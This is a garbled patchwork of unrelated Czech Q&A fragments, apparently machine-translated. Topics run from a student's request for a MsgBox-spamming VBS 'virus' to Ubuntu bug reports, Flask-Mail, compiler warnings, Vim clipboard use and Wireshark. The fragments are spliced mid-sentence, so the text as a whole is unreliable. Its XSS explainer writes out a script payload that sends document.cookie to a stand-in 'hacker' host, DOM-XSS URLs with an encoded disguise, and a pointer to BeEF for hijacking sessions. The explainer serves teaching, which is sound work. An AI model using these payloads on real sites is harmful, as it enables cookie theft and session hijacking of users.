Pomoc s výtvorem viru



Čau, zkouším dělat jednoduché viry, klasický VBSka, no a mám problém, znáte ten klasický co napíšete do sloupce několikrát "Start" a začnou vám vyskakovat prázdná cmd okna? No a já bych potřeboval to samé, akorát s MsgBoxy. Protože pokaždé když zkouším takový udělat, dopadne to tak že se vždy musí okno odkliknout, aby vyskočilo další. Projel jsem desítky českých i anglických webů a nic jsem nenašel. Předem děkuji za pomoc a byl bych moc rád i za konkrétní příkaz. Počítám i s tím že by to bylo i skrz více souborů.PS: Pro toxic lidi co mají na novinkách časté tendence psát věci jako že jsem, cituji "zasranej hacker co akorát ničí lidem počítače", nebo pro "profíky" že tohle nejsou viry a že dělám jenom základní windows tasky, no a co, je to i tak pouze pro moje vlastí educativní účely, jelikož jsem na IT škole
Hlavně, že se snažíte být zajímavý, dokonce titulek dotazu jste zvolil jako … A pak se ještě na konci dotazu raději lidem připomínáte, aby si do vás rejpnuli.
<p>ubuntu wiki má <a href="https://help.ubuntu.com/community/reportingbugs">velmi důkladný průvodce</a> , který je dobře ilustrován a pokrývá mnoho možných scénářů.</p><p>podstatou této stránky je to, že nejprve potřebujete <a href="https://launchpad.net/+login">launchpad account</a> , pak stiskněte <kbd>alt</kbd>+<kbd>f2</kbd> a zadejte <code>ubuntu-bug packagename</code>. v 11.04 a novějších můžete zadat <code>ubuntu-bug -w</code> a klikněte na postižené okno.</p><p>na této wiki stránce jsou také popsány metody, které vám řeknou, jak:</p><ul> <li>chyby souborů proti spuštěným programům</li> <li>proti žádnému konkrétnímu balíčku ( <a href="https://wiki.ubuntu.com/bugs/findrightpackage">a jak se rozhodnout, který balíček</a> )</li> <li>az počítačů bez připojení k internetu.</li> </ul><p>existuje <a href="https://www.youtube.com/watch?v=18nsscrdia0">rychlé výukové video</a> , které vysvětluje lépe.</p><p>a další informace na tomto webu o tom, jak shromažďovat informace pro hlášení o chybě:</p><ul> <li> <a href="https://askubuntu.com/questions/109779/ive-got-internal-error-whilst-running-a-ubuntu-beta-how-to-gather-information">při spuštění ubuntu beta mám interní chybu. jak shromažďovat informace a zjistit, co to je?</a> </li> </ul> as Baňka-Mail dokumentace říká:



> 
> Baňka-Mail vyžaduje použití knihovny Lamson, který má bohužel závislostí, které nefungují na Windows.
> 
> 
> Můžete nainstalovat Flask-mail, Lamson a ostatní knihovny s možností žádné závislosti:
> 
> 
> 
> ```
> easy_install -N lamson chardet Flask-Mail
> 
> ```
> 
> 


Zdroj: <http://packages.python.org/Flask-Mail/#windows-issues> Nepřehlédněte kompilátor sám.


Přečtěte si dokumentaci kompilátor a najít všechny varování a chyby může poskytnout, a povolit tolik, kolik mají smysl pro vás.


Také se ujistěte, informujte svého kompilátoru k léčbě varování, jako jsou chyby, takže budete nuceni opravit hned. ( "-Werror" na gcc)


Také: „-Wall“ na gcc není *ani* umožnit všem varováním, nenechte se zmást.


Také také: check out Valgrind - it „automaticky detekovat [S] mnoho správy paměti a threading chyby a profil [s] rámci svých programů v detailu.“ (Zdarma!)


Valgrind není statický checker, ale je to skvělý nástroj! <http://valgrind.org> No, je tu vestavěný režim shell, který dělá zvýrazňování syntaxe, pokud to není již zapnutý, `M-x shell-script-mode`bude to pro vás.


Pokud jde o nástroj, aby skriptování jednodušší. Je tu [bash shell debugger](http://bashdb.sourceforge.net/) , takže pokud si program v bash, který by pomohl dost.


Samozřejmě je tu [eshell](http://www.emacswiki.org/emacs/CategoryEshell) , shell napsaný v Emacs Lisp, takže můžete získat všechny zvýraznění syntaxe byste očekávali od Lisp, automatické dokončování a Emacs LISP debugger. <p><strong> xss - skriptování napříč stránkami (ale neomezeno na skutečné skriptování napříč stránkami) </strong></p><p>xss se obvykle prezentuje třemi různými způsoby:</p><p><strong> netrvalé (často nazývané odrážené xss) </strong></p><p>to je, když jste schopni vložit kód a server jej vrátí zpět, neanitizovaný. to lze často využít distribucí (obvykle nevinně vypadající) url v nějaké formě nebo způsobem, na který mohou ostatní kliknout.</p><p>to může být zvláště efektivní, když se zabýváte cílenými útoky na někoho. dokud můžete někoho přimět kliknout na adresu url, kterou jste odeslali, existuje šance, že v systému získáte zvýšená oprávnění.</p><p>příklad:</p><p>web obsahující vyhledávací pole nemá řádný dezinfekční vstup. vytvořením vyhledávacího dotazu vypadajícího takto:</p><pre><code>"&gt;&lt;script&gt;var+img=new+image();img.src="http://hacker/"%20+%20document.cookie;&lt;/script&gt; </code></pre><p>na druhém konci, na webovém serveru, budete přijímat hity, kde po dvojnásobku mezery je soubor cookie uživatelů. pokud správce klikne na odkaz, můžete mít štěstí, abyste mohli ukrást jejich id relace a hijack relaci.</p><p>použitím technik, jako je spamový e-mail, příspěvky do nástěnky, zprávy im, nástroje sociálního inženýrství, může být tato chyba zabezpečení velmi nebezpečná.</p><p><strong> založené na dom </strong></p><p>velmi podobné netrvalému, ale v případě, že se užitečné zatížení javascriptu nemusí opakovat z webového serveru. často se může jednat o to, že při načítání pomocí již existujícího javascriptu se na stránku za běhu opakuje jednoduše hodnota z parametru url.</p><p>příklad:</p><pre><code>http://victim/displayhelp.php?title=faq#&lt;script&gt;alert(document.cookie)&lt;/script&gt; </code></pre><p>zločinci samozřejmě upraví url tak, aby vypadala nevinněji. stejné užitečné zatížení jako výše jen kódováno jinak:</p><pre><code>http://victim/displayhelp.php?title=faq#&amp;#60&amp;#115&amp;#99&amp;#114&amp;#105 #112&amp;#116&amp;#62&amp;#97&amp;#108&amp;#101&amp;#114&amp;#116&amp;#40&amp;#100&amp;#111&amp;#99&amp;#117&amp;#109 &amp;#101&amp;#110&amp;#116&amp;#46&amp;#99&amp;#111&amp;#111&amp;#107&amp;#105&amp;#101&amp;#41&amp;#60&amp;#47&amp;#115&amp;#99 &amp;#114&amp;#105&amp;#112&amp;#116&amp;#62 </code></pre><p>můžete dokonce maskovat lépe, když odesíláte e-mailovým klientům, kteří podporují html, jako je tento:</p><pre><code>&lt;a href="http://victim/displayhelp.php?title=faq#&lt;script&gt;alert(document.cookie) &lt;/script&gt;"&gt;http://victim/displayhelp.php?title=faq&lt;/a&gt; </code></pre><p><strong> perzistentní </strong></p><p>jakmile dokážete vydržet vektor xss, útok se stane mnohem nebezpečnějším velmi rychle. přetrvávající xss se odráží zpět ze serveru, obvykle proto, že byl xss uložen v databázovém poli nebo podobně. zvažte, zda je následující vstup uložen do databáze a poté vám je ve vašem profilu představí:</p><pre><code>&lt;input type="text" value="your name" /&gt; </code></pre><p>pokud jste schopni zajistit, aby aplikace přijímala a ukládala neanitizované vstupy, vše, co musíte udělat, je přimět ostatní uživatele, aby si prohlédli váš profil (nebo kde se xss odráží zpět).</p><p>tyto druhy xss mohou být nejen obtížně rozpoznatelné, ale velmi zničující pro systém. stačí se podívat na červ xss s názvem <a href="http://en.wikipedia.org/wiki/samy\_worm">samy worm</a> !</p><p>v počátečních dnech xss jste viděli tento druh zneužití ve všech návštěvních knihách, komunitách, uživatelských recenzích, chatovacích místnostech atd.</p><hr><p><strong> dva útočné vektory </strong></p><p>nyní, když znáte různé způsoby poskytování užitečného zatížení xss, rád bych zmínil několik útočných vektorů xss, které mohou být velmi nebezpečné:</p><ul> <li> <p>xss defacement</p> <p>defacence xss není obtížné dosáhnout. pokud je xss také perzistentní, může být pro sysadminy obtížné to zjistit. podívejte se na rsnake <a href="http://drwetter.eu/amazon/">stallowned</a> "útok", který odstranil amazonovu funkci náhledu knihy. docela vtipné čtení.</p> </li> <li> <p>cookie krást a únos relace</p> <p>stejně jako v jednom z výše uvedených příkladů, jakmile získáte přístup k souborům cookie uživatelů, můžete také získat citlivé informace. zachycení id relace může vést k únosu relace, což může zase vést ke zvýšeným oprávněním v systému.</p> </li> </ul><p>omlouváme se za dlouhý příspěvek. teď se zastavím. jak ale můžete vidět, xss je velmi velké téma. doufám, že jsem vám to trochu objasnil.</p><hr><p><strong> využití xss pomocí beef </strong></p><p>chcete-li snadno zjistit, jak lze xss využít, doporučuji vyzkoušet <a href="http://beefproject.com/">beef</a> , browser exploitation framework. jakmile je rozbalen a spuštěn na webovém serveru s podporou php=), můžete snadno zkusit simulaci oběti (tzv. zombie), kde si můžete velmi snadno vyzkoušet různá užitečná zatížení xss. :</p><ul> <li>lokální síť portscan</li> <li>pingsweep místní síť</li> <li>pošlete virus infikovaný applet, podepsaný a připraven</li> <li>odesílejte zprávy klientovi</li> <li>proveďte skype hovor</li> </ul><p>seznam pokračuje. doporučujeme vidět video na domovské stránce beef.</p><p><strong> update: </strong> udělal jsem <a href="http://www.securesolutions.no/xss-explained/">zápis na xss</a> na svém blogu, který popisuje xss. obsahuje trochu o historii xss, různých typech útoků a některých případech použití včetně beef a shank.</p> <p>myslím, že otázka je:</p><blockquote> <p>"jak mohu získat přesně to, co chci od svých uživatelů tím, že jim vstup nesmyslně usnadní?"</p> </blockquote><p>jedinou instancí, kde vidím uživatele, kteří skutečně potřebují používat html přímo v nějaké formě vstupu, je, když/pokud formátují tabulková data. v takovém případě je však mnohem snazší dát jim formu, která dokáže udělat totéž, nebo jakoukoli z populárních sítí dostupných v různých knihovnách.</p><p>myslím, že zlatým pravidlem je, alespoň pro mě, použití systému značkování, které není html, které mohou vaši zpracovatelé formulářů použít k vytvoření krásného, ​​standardu vyhovujícího a sémanticky správného html.</p><p>skenery třetích stran mohou (obvykle) detekovat většinu problémů s nahranými soubory. osobně se mi líbí clamav - který je k dispozici pro * nix i windows.</p><p>to řeší problém zajistit, že je vše uspořádáno pěkně, správně naformátováno a návštěvníkům nejsou podávány žádné nežádoucí věci, nebo je to tak?</p><p>druhou věcí, kterou musíte udělat, je zkontrolovat jakýkoli obsah, který předloží, člověk musí mít na tom nějakou roli, nebo bude něco chybět. je tento obrázek vhodný? vede tento odkaz k malwaru nebo k něčemu jinému, na co byste raději nechtěli odkazovat? atd.</p><p>poskytnutí mechanismu označování pomáhá, ale není vždy účinné. pokud například na stackoverflow.com odpovíte na dvouletou otázku, otázka se okamžitě přesune na titulní stránku, kde komunita určitě zkontroluje, co bylo právě přidáno. ne všechny systémy jsou navrženy s ohledem na tento druh ochrany.</p><p>pokud uděláte značné množství svazku, pokud jde o obsah příspěvků od uživatelů, pravděpodobně stojí za to prozkoumat pomocí dodavatelů, kteří jednoduše zkontrolují podání a ujistí se, že nevhodná média/odkazy jsou rychle vyřazeny. nebo si možná můžete vyhledat pomoc od své komunity uživatelů (pokud existuje), aby udělali totéž, výměnou za nějaký druh zvláštních privilegií nebo výhod, které běžní uživatelé nemají rádi.</p> <p>registry <code>"*</code> a <code>"+</code> jsou pro schránku systému (<code>:help registers</code>). v závislosti na vašem systému mohou dělat různé věci. například v systémech, které nepoužívají x11 jako osx nebo windows, se registr <code>"*</code> používá pro čtení a zápis do systémové schránky. na systémech x11 lze použít oba registry. pro více informací viz <code>:help x11-selection</code>, ale v podstatě <code>"*</code> je analogický s x11 <em>primárním</em> výběrem (který obvykle kopíruje věci, které vyberete myší a pastami pomocí prostřední tlačítko myši) a <code>"+</code> je obdobné jako u x11 <em>clipboard</em> výběr (což je vlastní schránka).</p><p>pokud vše, co šlo přes hlavu, zkuste pomocí <code>"*yy</code> nebo <code>"+yy</code> zkopírovat řádek do schránky systému. za předpokladu, že máte vhodné možnosti kompilace, by měl fungovat jeden nebo druhý. možná budete chtít přeměnit to na něco výhodnější pro vás. například můžete v souboru ~/.vimrc zadat <code>vnoremap &lt;c-c&gt; "*y</code>, abyste mohli vizuálně vybrat a stisknout <kbd>ctrl</kbd>+<kbd>c</kbd> vyskočit do schránky systému.</p><p>mějte na paměti, že kopírování/vkládání ze systémové schránky <strong>nebude fungovat</strong> pokud <code>:echo has('clipboard')</code> vrací 0. v tomto případě není vim zkompilován s funkcí <code>+clipboard</code> a budete muset nainstalovat jinou verzi nebo znovu zkompilovat . některé linuxové distribuce standardně dodávají minimální instalaci vimu, ale obecně, pokud <strong>nainstalujte balíček <code>vim-gtk</code> nebo <code>vim-gtk3</code></strong> můžete získat další funkce.</p><p>můžete se také podívat na volbu <code>'clipboard'</code> popsanou v <code>:help cb</code>. v tomto případě můžete <code>:set clipboard=unnamed</code> nebo <code>:set clipboard=unnamedplus</code> provést všechny operace vyhození/smazání automaticky zkopírovat do systémové schránky. to by mohlo být nepříjemností v některých případech, kdy ukládáte něco jiného do schránky, protože to přepíše.</p><p>chcete-li vložit, můžete použít <code>"+p</code> nebo <code>"*p</code> (opět v závislosti na vašem systému a/nebo požadovaném výběru) nebo je můžete namapovat na něco jiného. typicky je zadávám, ale často se nacházím v režimu vkládání. pokud jste v režimu vkládání, můžete je stále vkládat pomocí správného odsazení pomocí <code>&lt;c-r&gt;&lt;c-p&gt;*</code> nebo <code>&lt;c-r&gt;&lt;c-p&gt;+</code>. viz <code>:help i\_ctrl-r\_ctrl-p</code>.</p><p>za zmínku stojí také možnost <code>paste</code> vim (<code>:help paste</code>). toto vloží vim do speciálního "režimu vkládání", který zakáže několik dalších možností, což vám umožní snadno vložit do vimu pomocí svého terminálového emulátoru nebo známé zkratky pro vložení multiplexeru. jednoduše zadejte <code>:set paste</code>, abyste jej aktivovali, vložte obsah a potom zadejte <code>:set nopaste</code>, abyste jej zakázali. alternativně můžete pomocí volby <code>pastetoggle</code> nastavit kód klíče, který přepíná režim (<code>:help pastetoggle</code>). doporučuji používat registry namísto těchto možností, ale pokud jsou stále příliš děsivé, může to být vhodné řešení, když si vylepšujete své vim chops.</p><p>podrobnější informace naleznete v tématu <code>:help clipboard</code>.</p> <p>nevidím způsob, jak okno smazat, ale zdá se, že to funguje.</p><p>okno ve wiresharku proto můžete vymazat jedním z následujících způsobů: </p><ul> <li>kliknutím na zelené žraločí ploutve vpravo od červeného tlačítka <code>stop</code></li> <li>kliknutí na <code>capture</code>&gt; <code>restart</code></li> <li>stisknutí <code>ctrl-r</code>.</li> </ul> Pravděpodobně budete chtít používat [Eclipse C / C ++ Development Nástroje (CDT)](http://www.eclipse.org/cdt/) plugin. <p>nedělal bych si starosti s umělým omezením počtu klávesových zkratek. takový limit předpokládá, že se od uživatele očekává, že se nejdříve seznámí se zkratkami a použije je až poté.</p><p>ve skutečnosti se uživatelé učí klávesové zkratky, jak jdou. a naučí se pouze zkratky, které jim pomohou urychlit jejich pracovní postup, a ignorují ty, které zřídka používají.</p><p>desktopové aplikace zobrazují ekvivalenty kláves příkazu v nabídce. windows také podtrhuje písmeno ekvivalentu příkazového klíče; viz <a href="https://ux.stackexchange.com/questions/2634/how-would-you-display-a-key-equivalent-to-the-user/"><strong> tato otázka </strong></a> pro snímek obrazovky.</p><p>v případě vaší webové aplikace vám doporučujeme, abyste si také zobrazili ekvivalenty příkazových kláves, možná v menším světle šedém písmu vedle tlačítka nebo pod ním. z mé zkušenosti, když jsem pomáhal uživatelům v počítačovém centru zpět na vysokou školu, si myslím, že zjistíte, že i když to uživatelé nejdřív nezjistí, vše, co musíte udělat, je vysvětlit jim jen jednou, co to znamená světle šedý text, a začnou sbírat a zapamatovat si ekvivalenty kláves příkazu.</p><p><strong> aktualizace </strong>: další možností je zobrazit ekvivalent příkazového klíče v popisku. je to méně zřejmé, ale také to nezahrnuje žádné redesign vašich webových stránek.</p>